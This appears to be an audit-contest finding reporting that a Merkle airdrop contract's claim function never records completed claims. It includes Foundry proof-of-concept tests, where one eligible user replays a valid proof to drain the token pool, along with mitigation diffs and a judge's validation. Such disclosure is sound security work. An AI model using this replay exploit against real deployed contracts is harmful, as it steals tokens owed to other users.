AirDropper
AI First Flight #5
Beginner FriendlyDeFiFoundry
EXP
View results
Submission Details
Severity: high
Valid

MerkleAirdrop::claim has no claimed-tracking, so a valid proof can be replayed to drain the whole airdrop pool

prasadreddy

Root + Impact

Description

  • Normal behavior: each address in the Merkle tree may claim its allocation exactly once, and the pool holds enough tokens to cover every allocation.

  • Issue: `claim()` verifies the Merkle proof but never records that `account` has claimed. The same `(account, amount, proof)` stays valid forever, so an eligible user can claim repeatedly (paying only the small ETH fee each time) until the contract's token balance is zero.

// Root cause in the codebase with @> marks to highlight the relevant section
​
```solidity
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
​
// @> nothing marks `account` as claimed, so this proof works again on the next call
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}
```

Risk

Likelihood:

  • Any eligible address can do it with its own valid proof, with no special conditions.

  • Each replay costs only the fixed fee (`1e9` wei), far less than the tokens received.

Impact:

  • One eligible user can take the entire pool, including the allocations of everyone else.

  • Other users' claims then revert because the contract has no tokens left.

Proof of Concept

Alice and Bob are each owed 25 tokens and the pool holds 50. Alice claims twice with the same proof and receives 50, and Bob's valid claim then reverts.

Save as `test/PoC.t.sol` and run `forge test --mt test_claimCanBeReplayed -vv`.
​
```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
​
import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MerkleAirdrop} from "../src/MerkleAirdrop.sol";
​
contract MockToken is ERC20 {
constructor() ERC20("Mock", "MCK") {}
function mint(address to, uint256 amt) external { _mint(to, amt); }
}
​
contract PoC is Test {
MerkleAirdrop airdrop;
MockToken token;
address alice = makeAddr("alice");
address bob = makeAddr("bob");
uint256 constant AMOUNT = 25e6;
bytes32[] aliceProof;
bytes32[] bobProof;
​
function setUp() public {
// Two-leaf Merkle tree: Alice and Bob, 25 tokens each
bytes32 leafA = keccak256(bytes.concat(keccak256(abi.encode(alice, AMOUNT))));
bytes32 leafB = keccak256(bytes.concat(keccak256(abi.encode(bob, AMOUNT))));
bytes32 root = leafA < leafB
? keccak256(abi.encodePacked(leafA, leafB))
: keccak256(abi.encodePacked(leafB, leafA));
aliceProof.push(leafB);
bobProof.push(leafA);
​
token = new MockToken();
airdrop = new MerkleAirdrop(root, IERC20(address(token)));
token.mint(address(airdrop), 2 * AMOUNT); // pool covers both allocations
vm.deal(alice, 1 ether);
vm.deal(bob, 1 ether);
}
​
function test_claimCanBeReplayed() public {
uint256 fee = airdrop.getFee();
​
// 1. Alice claims her 25 tokens, then replays the same proof
vm.startPrank(alice);
airdrop.claim{value: fee}(alice, AMOUNT, aliceProof);
airdrop.claim{value: fee}(alice, AMOUNT, aliceProof);
vm.stopPrank();
​
// 2. Alice holds 50 (twice her allocation) and the pool is empty
assertEq(token.balanceOf(alice), 2 * AMOUNT);
assertEq(token.balanceOf(address(airdrop)), 0);
​
// 3. Bob's valid claim now reverts because nothing is left
vm.prank(bob);
vm.expectRevert();
airdrop.claim{value: fee}(bob, AMOUNT, bobProof);
}
}
```
​

Recommended Mitigation

Record each account as claimed and reject repeats. The flag is set before the token transfer, so the update happens before the external call.
​
```diff
+ error MerkleAirdrop__AlreadyClaimed();
+ mapping(address => bool) private s_hasClaimed;
​
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
+ if (s_hasClaimed[account]) {
+ revert MerkleAirdrop__AlreadyClaimed();
+ }
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
​
+ s_hasClaimed[account] = true;
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}
```
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Eligible users can claim their airdrop amounts over and over again, draining the contract

## Description A user eligible for the airdrop can verify themselves as being part of the merkle tree and claim their airdrop amount. However, there is no mechanism enabled to track the users who have already claimed their airdrop, and the merkle tree is still composed of the same user. This allows users to drain the `MerkleAirdrop` contract by calling the `MerkleAirdrop::claim()` function over and over again. ## Impact **Severity: High**<br/>**Likelihood: High** A malicious user can call the `MerkleAirdrop::claim()` function over and over again until the contract is drained of all its funds. This also means that other users won't be able to claim their airdrop amounts. ## Proof of Code Add the following test to `./test/MerkleAirdrop.t.sol`, ```javascript function testClaimAirdropOverAndOverAgain() public { vm.deal(collectorOne, airdrop.getFee() * 4); for (uint8 i = 0; i < 4; i++) { vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); } assertEq(token.balanceOf(collectorOne), 100e6); } ``` The test passes, and the malicious user has drained the contract of all its funds. ## Recommended Mitigation Use a mapping to store the addresses that have claimed their airdrop amounts. Check and update this mapping each time a user tries to claim their airdrop amount. ```diff contract MerkleAirdrop is Ownable { using SafeERC20 for IERC20; error MerkleAirdrop__InvalidFeeAmount(); error MerkleAirdrop__InvalidProof(); error MerkleAirdrop__TransferFailed(); + error MerkleAirdrop__AlreadyClaimed(); uint256 private constant FEE = 1e9; IERC20 private immutable i_airdropToken; bytes32 private immutable i_merkleRoot; + mapping(address user => bool claimed) private s_hasClaimed; ... function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable { + if (s_hasClaimed[account]) revert MerkleAirdrop__AlreadyClaimed(); if (msg.value != FEE) { revert MerkleAirdrop__InvalidFeeAmount(); } bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount)))); if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert MerkleAirdrop__InvalidProof(); } + s_hasClaimed[account] = true; emit Claimed(account, amount); i_airdropToken.safeTransfer(account, amount); } ``` Now, let's unit test the changes, ```javascript function testCannotClaimAirdropMoreThanOnceAnymore() public { vm.deal(collectorOne, airdrop.getFee() * 2); vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); } ``` The test correctly fails, with the following logs, ```shell Failing tests: Encountered 1 failing test in test/MerkleAirdropTest.t.sol:MerkleAirdropTest [FAIL. Reason: MerkleAirdrop__AlreadyClaimed()] testCannotClaimAirdropMoreThanOnceAnymore() (gas: 96751) ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!